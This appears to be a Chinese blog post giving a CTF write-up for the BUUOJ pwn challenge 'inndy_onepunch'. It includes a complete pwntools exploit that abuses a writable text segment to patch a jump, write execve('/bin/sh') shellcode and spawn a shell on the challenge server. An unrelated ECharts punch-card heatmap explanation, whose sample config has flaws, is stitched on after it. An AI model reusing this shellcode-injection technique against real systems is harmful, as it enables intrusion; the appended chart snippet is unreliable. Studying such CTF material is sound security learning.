inndy_onepunch(text段有时是可以修改的)

161 篇文章 11 订阅
161 篇文章 11 订阅

inndy_onepunch

用IDA分析一下程序,任意地址写一个字节。

想不到的是,text段可以修改,因此,我们可以直接修改text的指令,来达到多次利用。

#coding:utf8
#想不到text段竟然可以写
from pwn import *

context(os='linux',arch='amd64')
#sh = process('./onepunch')
sh = remote('node3.buuoj.cn',29567)
text = 0x400767

def writeData(addr,data):
   sh.sendlineafter('Where What?',hex(addr) + ' ' + str(data))
#通过一字节读写,我们修改text里的跳转
writeData(text+1,u32(asm('jnz $-0x4A')[1:].ljust(4,'\x00')))
#修改jnz指令为jmp
writeData(text,u32(asm('jmp $-0x4A')[0:1].ljust(4,'\x00')))
shellcode = asm('''mov rax,0x0068732f6e69622f
                   push rax
                   mov rdi,rsp
                   mov rax,59
                   xor rsi,rsi
                   mov rdx,rdx
                   syscall
                ''')
shellcode_addr = 0x0000000000400769
i = 0
for x in shellcode:
   data = u8(x)
   writeData(shellcode_addr + i,data)
   i = i + 1
#跳转到shellcode
writeData(text+1,u32(asm('jnz $+0x2')[1:].ljust(4,'\x00')))

sh.interactive()

由此,查阅资料知道了,修改text段可写,可以利用工具objcopy --writable-text来实现。因此,有时实在没办法,我们可以尝试一下text段是否可写。

ECharts是一款使用JavaScript编的开源可视化库,它提供了一种简单的方式来创建丰富的数据可视化图表。热力图(Heat Map)是ECharts中的一种图表类型,用于展示数据的密度分布,而Punch Card(打卡图)是一种特殊的热力图,常用于展示时间序列数据的分布情况,比如记录事件在特定时间发生的频率。 在ECharts中,如果你想要修改热力图来显示Punch Card效果,你需要对热力图的配置项进行一些特定的设置。以下是几个关键步骤: 1. 使用`xAxis`和`yAxis`定义数据的坐标轴,通常用于表示时间点。 2. 在`series`中设置`type`为`heatmap`,这是热力图的类型。 3. 通过`data`属性来提供具体的数据点,数据点通常是一个二维数组,每个内部数组表示一个数据点的x、y坐标和权重。 4. 配置`itemStyle`属性来自定义热力图单元格的样式,例如颜色渐变,以便清晰地显示不同密度的区域。 5. 可以通过`emphasis`属性来设置鼠标悬停时的样式,增强交互性。 示例代码如下: ```javascript option = { xAxis: { type: 'category', data: ['12a', '12p', '1a', '2a', '3a', '4a', '5a', '6a', '7a', '8a', '9a', '10a', '11a', '12p', '1p', '2p', '3p', '4p', '5p', '6p', '7p', '8p', '9p', '10p', '11p'] }, yAxis: { type: 'category', data: ['Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun'] }, series: [{ name: 'Punch Card', type: 'heatmap', data: [ {value: [24, 0], count: 10}, // ... 更多数据 ], itemStyle: { normal: { color: function (params) { // 根据数据点的权重返回不同的颜色 return colorMap.get(params.value); } } }, emphasis: { itemStyle: { // 鼠标悬停时的样式 borderColor: '#fff', borderWidth: 1 } } }] }; ``` 在这代码中,`colorMap`是一个预定义的颜色映射函数,用于根据数据点的权重返回不同的颜色,以展示不同的密度。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值